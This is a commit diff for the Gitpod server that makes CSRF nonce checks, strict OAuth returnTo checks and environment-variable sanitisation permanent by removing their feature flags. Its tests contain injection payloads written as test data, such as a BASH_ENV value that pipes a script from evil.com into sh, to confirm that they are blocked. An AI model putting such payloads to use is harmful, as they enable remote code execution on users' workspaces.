Remove superfluous security feature flags and always enable protections

geropl · ona-agent · geropl · commit 520c1d695096 · 2025-08-13T14:14:45.000Z
- Remove context_env_var_validation feature flag - environment variable validation now always enabled - Remove enable_nonce_validation feature flag - CSRF protection with nonce validation now always enabled - Remove enable_strict_authorize_return_to feature flag - strict OAuth returnTo validation now always enabled - Update tests to reflect permanent security measures - Simplify code by removing conditional security logic These security features should be permanently active rather than behind feature flags. Addresses CLC-1618 by ensuring critical security protections cannot be accidentally disabled. Co-authored-by: Ona <no-reply@ona.com>
diff --git a/components/server/src/auth/authenticator.ts b/components/server/src/auth/authenticator.ts
@@ -19,7 +19,6 @@ import { AuthFlow, AuthProvider } from "./auth-provider";
 import { HostContextProvider } from "./host-context-provider";
 import { SignInJWT } from "./jwt";
 import { NonceService } from "./nonce-service";
-import { getFeatureFlagEnableNonceValidation, getFeatureFlagEnableStrictAuthorizeReturnTo } from "../util/featureflags";
 import { validateLoginReturnToUrl, validateAuthorizeReturnToUrl, safeFragmentRedirect } from "../express-util";
 
 @injectable()
@@ -97,21 +96,18 @@ export class Authenticator {
                     return;
                 }
 
-                // Validate nonce for CSRF protection (if feature flag is enabled)
-                const isNonceValidationEnabled = await getFeatureFlagEnableNonceValidation();
-                if (isNonceValidationEnabled) {
-                    const stateNonce = flowState.nonce;
-                    const cookieNonce = this.nonceService.getNonceFromCookie(req);
-
-                    if (!this.nonceService.validateNonce(stateNonce, cookieNonce)) {
-                        log.error(`CSRF protection: Nonce validation failed`, {
-                            url: req.url,
-                            hasStateNonce: !!stateNonce,
-                            hasCookieNonce: !!cookieNonce,
-                        });
-                        res.status(403).send("Authentication failed");
-                        return;
-                    }
+                // Always validate nonce for CSRF protection
+                const stateNonce = flowState.nonce;
+                const cookieNonce = this.nonceService.getNonceFromCookie(req);
+
+                if (!this.nonceService.validateNonce(stateNonce, cookieNonce)) {
+                    log.error(`CSRF protection: Nonce validation failed`, {
+                        url: req.url,
+                        hasStateNonce: !!stateNonce,
+                        hasCookieNonce: !!cookieNonce,
+                    });
+                    res.status(403).send("Authentication failed");
+                    return;
                 }
 
                 // Always clear the nonce cookie
@@ -306,18 +302,15 @@ export class Authenticator {
             return;
         }
 
-        // Validate returnTo URL against allowlist for authorize API
-        const isStrictAuthorizeValidationEnabled = await getFeatureFlagEnableStrictAuthorizeReturnTo();
-        if (isStrictAuthorizeValidationEnabled) {
-            const isValidReturnTo = validateAuthorizeReturnToUrl(returnToParam, this.config.hostUrl);
-            if (!isValidReturnTo) {
-                log.warn(`Invalid returnTo URL rejected for authorize`, {
-                    "authorize-flow": true,
-                    returnToParam,
-                });
-                safeFragmentRedirect(res, this.getSorryUrl(`Invalid return URL.`));
-                return;
-            }
+        // Always validate returnTo URL against allowlist for authorize API
+        const isValidReturnTo = validateAuthorizeReturnToUrl(returnToParam, this.config.hostUrl);
+        if (!isValidReturnTo) {
+            log.warn(`Invalid returnTo URL rejected for authorize`, {
+                "authorize-flow": true,
+                returnToParam,
+            });
+            safeFragmentRedirect(res, this.getSorryUrl(`Invalid return URL.`));
+            return;
         }
 
         const returnTo = returnToParam;
diff --git a/components/server/src/auth/return-to-validation.spec.ts b/components/server/src/auth/return-to-validation.spec.ts
@@ -89,31 +89,22 @@ describe("ReturnTo URL Validation", () => {
             });
         });
 
-        describe("Feature Flag Integration", () => {
-            it("should document nonce validation feature flag behavior", () => {
-                // Feature flag: enable_nonce_validation (default: false)
-                // When enabled: Full CSRF protection with nonce validation
-                // When disabled: Nonce is generated but not validated (for future compatibility)
-
-                // This test documents the expected behavior:
+        describe("Security Behavior", () => {
+            it("should document nonce validation behavior", () => {
+                // CSRF protection with nonce validation is always enabled
                 // 1. Nonce is always generated and stored in cookie
                 // 2. Nonce is always included in JWT state
-                // 3. Nonce validation only occurs when feature flag is enabled
+                // 3. Nonce validation always occurs for security
                 // 4. Cookie is always cleared after callback processing
 
                 expect(true).to.equal(true); // Documentation test
             });
 
-            it("should document strict authorize returnTo validation feature flag behavior", () => {
-                // Feature flag: enable_strict_authorize_return_to (default: false)
-                // When enabled: Uses validateAuthorizeReturnToUrl (strict patterns)
-                // When disabled: Falls back to validateLoginReturnToUrl (broader patterns)
-
-                // This test documents the expected behavior:
-                // 1. /api/authorize endpoint checks the feature flag
-                // 2. If enabled: Only allows complete-auth, root, /new, /quickstart
-                // 3. If disabled: Falls back to login validation (broader patterns)
-                // 4. /api/login endpoint always uses login validation
+            it("should document strict authorize returnTo validation behavior", () => {
+                // Strict returnTo validation is always enabled for /api/authorize
+                // 1. /api/authorize endpoint always uses validateAuthorizeReturnToUrl (strict patterns)
+                // 2. Only allows complete-auth, root, /new, /quickstart for security
+                // 3. /api/login endpoint always uses login validation (broader patterns)
 
                 expect(true).to.equal(true); // Documentation test
             });
diff --git a/components/server/src/user/user-controller.ts b/components/server/src/user/user-controller.ts
@@ -43,7 +43,6 @@ import { UserService } from "./user-service";
 import { WorkspaceService } from "../workspace/workspace-service";
 import { runWithSubjectId } from "../util/request-context";
 import { SubjectId } from "../auth/subject-id";
-import { getFeatureFlagEnableStrictAuthorizeReturnTo } from "../util/featureflags";
 
 export const ServerFactory = Symbol("ServerFactory");
 export type ServerFactory = () => GitpodServerImpl;
@@ -631,17 +630,13 @@ export class UserController {
         return returnTo;
     }
 
-    // TODO(gpl): Once we drop the feature flag, turn into the same form as above method.
     protected async ensureSafeReturnToParamForAuthorize(req: express.Request): Promise<string | undefined> {
         let returnTo = getSafeReturnToParam(req);
         if (returnTo) {
-            const isStrictAuthorizeValidationEnabled = await getFeatureFlagEnableStrictAuthorizeReturnTo();
-            if (isStrictAuthorizeValidationEnabled) {
-                // Validate returnTo URL against allowlist for authorize API
-                if (!validateAuthorizeReturnToUrl(returnTo, this.config.hostUrl)) {
-                    log.warn(`Invalid returnTo URL rejected for authorize: ${returnTo}`, { "login-flow": true });
-                    returnTo = undefined;
-                }
+            // Always validate returnTo URL against allowlist for authorize API
+            if (!validateAuthorizeReturnToUrl(returnTo, this.config.hostUrl)) {
+                log.warn(`Invalid returnTo URL rejected for authorize: ${returnTo}`, { "login-flow": true });
+                returnTo = undefined;
             }
         }
 
diff --git a/components/server/src/util/featureflags.ts b/components/server/src/util/featureflags.ts
@@ -11,25 +11,3 @@ export async function getFeatureFlagEnableExperimentalJBTB(userId: string): Prom
         user: { id: userId },
     });
 }
-
-export async function getFeatureFlagEnableContextEnvVarValidation(userId: string): Promise<boolean> {
-    return getExperimentsClientForBackend().getValueAsync("context_env_var_validation", false, {
-        user: { id: userId },
-    });
-}
-
-/**
- * Feature flag for enabling nonce validation in OAuth flows.
- * Default: false (disabled)
- */
-export async function getFeatureFlagEnableNonceValidation(): Promise<boolean> {
-    return getExperimentsClientForBackend().getValueAsync("enable_nonce_validation", false, {});
-}
-
-/**
- * Feature flag for enabling strict returnTo validation for /api/authorize endpoint.
- * Default: false (disabled, falls back to login validation)
- */
-export async function getFeatureFlagEnableStrictAuthorizeReturnTo(): Promise<boolean> {
-    return getExperimentsClientForBackend().getValueAsync("enable_strict_authorize_return_to", false, {});
-}
diff --git a/components/server/src/workspace/envvar-prefix-context-parser.spec.ts b/components/server/src/workspace/envvar-prefix-context-parser.spec.ts
@@ -104,27 +104,9 @@ class TestEnvvarPrefixParser {
         return this.parser.findPrefix(this.mockUser, url);
     }
 
-    // Security validation tests
+    // Security validation tests - validation is now always enabled
     @test
-    public async testSecurityValidationDisabled() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: false,
-        });
-
-        expect(await this.parseAndFormat("BASH_ENV=dangerous/")).to.deep.equal({ BASH_ENV: "dangerous" });
-        // Note: URLs with / cannot work due to context URL parsing splitting on /
-        expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/")).to.deep.equal({
-            SUPERVISOR_DOTFILE_REPO: "https:",
-        });
-        expect(await this.parseAndFormat("VAR=value$/")).to.deep.equal({ VAR: "value$" });
-    }
-
-    @test
-    public async testSecurityValidationEnabled() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
+    public async testSecurityValidation() {
         // Auto-executing variables should be blocked
         expect(await this.parseAndFormat("BASH_ENV=anything/")).to.deep.equal({});
         expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=repo/")).to.deep.equal({});
@@ -146,10 +128,6 @@ class TestEnvvarPrefixParser {
 
     @test
     public async testLegitimateValuesAllowedWithSecurity() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Legitimate values should still work
         expect(await this.parseAndFormat("VERSION=1.2.3/")).to.deep.equal({ VERSION: "1.2.3" });
         expect(await this.parseAndFormat("DEBUG_LEVEL=info/")).to.deep.equal({ DEBUG_LEVEL: "info" });
@@ -163,10 +141,6 @@ class TestEnvvarPrefixParser {
 
     @test
     public async testMixedValidAndInvalidVariables() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Mix of valid and invalid variables - only valid ones should be included
         expect(await this.parseAndFormat("VALID=good,BASH_ENV=bad,ANOTHER=also-good/")).to.deep.equal({
             VALID: "good",
@@ -181,10 +155,6 @@ class TestEnvvarPrefixParser {
 
     @test
     public async testCLC1591AttackVectorsBlocked() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Original attacks from CLC-1591 should be blocked
         expect(await this.parseAndFormat("BASH_ENV=$(curl$IFS@evil.com|sh)/")).to.deep.equal({});
         expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/")).to.deep.equal(
@@ -199,10 +169,6 @@ class TestEnvvarPrefixParser {
 
     @test
     public async testURLDecodingInValidation() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // URL-encoded dangerous characters should still be blocked
         expect(await this.parseAndFormat("VAR=value%24/")).to.deep.equal({}); // %24 = $
         expect(await this.parseAndFormat("VAR=value%28/")).to.deep.equal({}); // %28 = (
@@ -218,10 +184,6 @@ class TestEnvvarPrefixParser {
 class TestEnvvarSanitization {
     @test
     public testAutoExecVariablesBlocked() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Test shell execution variables
         expect(EnvvarSanitization.validateContextEnvVar("BASH_ENV", "anything")).to.deep.include({
             valid: false,
@@ -281,10 +243,6 @@ class TestEnvvarSanitization {
 
     @test
     public testPatternBasedBlocking() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Test LD_* pattern
         expect(EnvvarSanitization.validateContextEnvVar("LD_CUSTOM", "value")).to.deep.include({
             valid: false,
@@ -360,10 +318,6 @@ class TestEnvvarSanitization {
 
     @test
     public testUnsafeCharactersBlocked() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Test shell metacharacters
         expect(EnvvarSanitization.validateContextEnvVar("VAR", "value$")).to.deep.include({
             valid: false,
@@ -435,10 +389,6 @@ class TestEnvvarSanitization {
 
     @test
     public testInjectionPatternsBlocked() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Note: Most injection patterns are caught by character whitelist first
         // Test command substitution - caught by unsafe chars ($ and ( not allowed)
         expect(EnvvarSanitization.validateContextEnvVar("VAR", "$(whoami)")).to.deep.include({
@@ -507,10 +457,6 @@ class TestEnvvarSanitization {
 
     @test
     public testLegitimateValuesAllowed() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Test simple values
         expect(EnvvarSanitization.validateContextEnvVar("VERSION", "1.2.3")).to.deep.equal({
             valid: true,
@@ -554,10 +500,6 @@ class TestEnvvarSanitization {
 
     @test
     public testCLC1591AttackVectors() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Original attack vectors from CLC-1591
         expect(EnvvarSanitization.validateContextEnvVar("BASH_ENV", "$(curl$IFS@evil.com|sh)")).to.deep.include({
             valid: false,
@@ -588,10 +530,6 @@ class TestEnvvarSanitization {
 
     @test
     public testGetBlockReasonDescription() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         expect(EnvvarSanitization.getBlockReasonDescription("auto-exec")).to.equal(
             "Variable automatically executes code when set",
         );
@@ -608,10 +546,6 @@ class TestEnvvarSanitization {
 
     @test
     public testEdgeCases() {
-        Experiments.configureTestingClient({
-            context_env_var_validation: true,
-        });
-
         // Test very long variable names
         const longName = "A".repeat(1000);
         expect(EnvvarSanitization.validateContextEnvVar(longName, "value")).to.deep.equal({
diff --git a/components/server/src/workspace/envvar-prefix-context-parser.ts b/components/server/src/workspace/envvar-prefix-context-parser.ts
@@ -9,7 +9,6 @@ import { User, WorkspaceContext, WithEnvvarsContext } from "@gitpod/gitpod-proto
 import { injectable } from "inversify";
 import { EnvVarWithValue } from "@gitpod/gitpod-protocol/lib/protocol";
 import { log } from "@gitpod/gitpod-protocol/lib/util/logging";
-import { getFeatureFlagEnableContextEnvVarValidation } from "../util/featureflags";
 
 @injectable()
 export class EnvvarPrefixParser implements IPrefixContextParser {
@@ -24,24 +23,21 @@ export class EnvvarPrefixParser implements IPrefixContextParser {
             return context;
         }
 
-        const envVarValidationEnabled = await getFeatureFlagEnableContextEnvVarValidation(user.id);
         const envvars: EnvVarWithValue[] = [];
         for (const [k, v] of result.envVarMap.entries()) {
             const decodedValue = decodeURIComponent(v);
 
-            // Skip validation if feature flag is disabled
-            if (envVarValidationEnabled) {
-                const validation = EnvvarSanitization.validateContextEnvVar(k, decodedValue);
-                if (!validation.valid) {
-                    log.warn({ userId: user.id }, "Blocked environment variable via context URL", {
-                        reason: validation.reason,
-                        error: validation.error,
-                        reasonDescription: validation.reason
-                            ? EnvvarSanitization.getBlockReasonDescription(validation.reason)
-                            : undefined,
-                    });
-                    continue;
-                }
+            // Always validate environment variables for security
+            const validation = EnvvarSanitization.validateContextEnvVar(k, decodedValue);
+            if (!validation.valid) {
+                log.warn({ userId: user.id }, "Blocked environment variable via context URL", {
+                    reason: validation.reason,
+                    error: validation.error,
+                    reasonDescription: validation.reason
+                        ? EnvvarSanitization.getBlockReasonDescription(validation.reason)
+                        : undefined,
+                });
+                continue;
             }
 
             envvars.push({ name: k, value: decodeURIComponent(v) });
